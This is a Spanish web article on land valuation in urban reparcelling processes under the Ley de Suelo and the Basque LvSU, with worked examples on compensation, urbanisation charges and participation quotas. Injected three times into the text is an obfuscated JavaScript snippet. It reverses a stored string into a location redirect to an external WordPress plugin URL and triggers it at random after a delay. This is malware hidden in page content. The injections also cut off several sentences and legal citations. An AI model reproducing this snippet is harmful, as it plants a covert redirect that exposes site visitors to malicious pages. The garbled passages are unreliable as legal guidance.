Valoración de Suelo en procesos de Equidistribución

1) Terrenos que no den lugar a adjudicación de parcela de resultado por insuficiencia de cuota.

Ejemplo

• La parcela del propietario Z es suelo Rural y su valor es de 1.200 €.
• Al propietario Z le corresponde una cuota en la actuación del 10% de las parcelas resultantes y una cuota en las cargas de urbanización del 11,8%  (téngase en cuenta que el 15% de cesión gratuita de edificabilidad está exento de cargas de urbanización, tos/2008/12/0806927a.pdf#page=2″ target=”_blank”>LvSU 27.1).
• El valor de repercusión total de las parcelas resultantes es de 1.000.000 €, correspondiendo a la cuota de Z 100.000 €.
• Los costes de urbanización totales son 200.000 €, correspondiendo a Z 23.600 €.
• Si Z optara por no participar, su parcela se valoraría en 1.200 €.
• Si Z optara por participar en la actuación y finalmente no le correspondiera parcela resultante por insuficiencia de su aportación, tendría derecho a una compensación, teniendo en cuenta los costes de urbanización y su incremento mediante la aplicación de la Prima de Riesgo (8% en el ejemplo) y una Tasa Libre de Riesgo (4% en el ejemplo), de: 100.000 € – (23.600 € x [1+8%+4%]) = 73.568 €.

Ejemplo

Siguiendo con los datos del ejemplo del apartado 1:

• La Administración o el Agente Urbanizador adquieren la parcela de resultado 3, cuyo valor si ya fuera solar sería de 100.000 € y es un 10% del total.
• Las cargas de urbanización totales son de 200.000 € y las imputables a esta parcela son del 11,8% (téngase en cuenta que el 15% del aprovechamiento total está exento de cargas de urbanización, tos/2008/12/0806927a.pdf#page=2″ target=”_blank”>LvSU 27.1).
• El adquirente de la parcela se subroga en la obligación de contribuir a las cargas de urbanización por 23.600 €.
• Lo que paga por la parcela 3, una vez deducidas las cargas en que se subroga incrementadas por la Prima de Riesgo (8% en el ejemplo) y la Tasa Libre de Riesgo (4% en el ejemplo) es: 100.000 € – (23.600 € x [1+8%+4%]) = 73.568 €, es decir, un total (23.600 + 73.568) de 97.168 €.
• Si el adquirente, en lugar de adquirir en la reparcelación, esperara a que la parcela resultante fuera efectivamente solar, pagaría 100.000 €, pero la operación sería sustancialmente diferente:
  • No adelantaría ningún pago porque pagaría cuando la parcela esté en condiciones de ser edificada: no adelantaría ni los 73.568 € por el tiempo que medie entre la aprobación de la reparcelación y la finalización de la obra de urbanización ni los 23.600 por el tiempo que medie entre cada pago de urbanización y la conclusión de las obras. Por ejemplo si la actuación tardara en desarrollarse un año, para disponer de los 100.000 € necesarios para la compra, bastaría con colocar 96.154 € en deuda pública a un año al 4% (frente a un desembolso de 97.168 € del valor legal en equidistribución más las cargas); si el plazo de las obras fuera de dos años, bastaría con colocar en deuda pública 92.456 € para poder adquirir el solar.
  • No incurriría en ningún riesgo de que la actuación se encuentre con obstáculos que impidan su desarrollo (p.ej., por cambios en la normativa sectorial), encarezcan la ejecución (servicios afectados no previstos, suelos contaminados…) o atrasen la conclusión de las obras.
  • No incurriría en el riesgo de que caigan los precios del producto inmobiliario.

En caso de que hubiera defectos de adjudicación porque las parcelas resultantes adjudicadas a un propietario no se correspondieran exactamente con su cuota de participación, ni el $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to de Valoraciones de la Ley de Suelo (RD 1492/2011, de 24 de octubre)” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2011-17629″ target=”_blank”>RVal señalan cómo se valoran dichos defectos de adjudicación. En pura técnica jurídica procedería valorar dicho defecto con la regla general (que no es a actuación terminada sino a origen) dado que los criterios especiales no son susceptibles de aplicación analógica o extensiva; sin embargo, parece lógico aplicar el mismo criterio que a los propietarios que tengan defecto total de adjudicación por insuficiencia de su aportación (apartado 1).

4) Definición de la cuota de participación de cada propietario participe.

El $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a8″ target=”_blank”>TRLS 8.3.c). Parece claro que lo que si establece es que no se deben tener en cuenta las posibles diferencia de valor a origen (si formaran parte de la misma actuación un terreno urbanizado y otro rural, terrenos en ubicaciones de distinto valor -p.ej., por tener frente a calles de distinta categoría-, con distinto grado de urbanización, uno edificado y otro no…) por lo que lo que se equipararían todos los terrenos. Esto que puede parecer ilógico, se corresponde con la concepción del TRLS de que las posibilidades edificatorias no corresponden al suelo en que se emplacen sino a quien invierta en la transformación del suelo). El desarrollo de este argumento llevaría a que tampoco la superficie sea un factor de ponderación entre todos los propietarios, lo que no parece que fuera la voluntad del legislador y resulta de muy difícil de asunción. El $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 2/2006, de 30 de junio, de Suelo y Urbanismo” href=”http://www.lehendakaritza.ejgv.euskadi.net/r48-bopv2/es/bopv2/datos/2006/07/0603776a.pdf#page=45″ target=”_blank”>art. 44.2 LvSU que fija como criterio de ponderación la superficie aportada.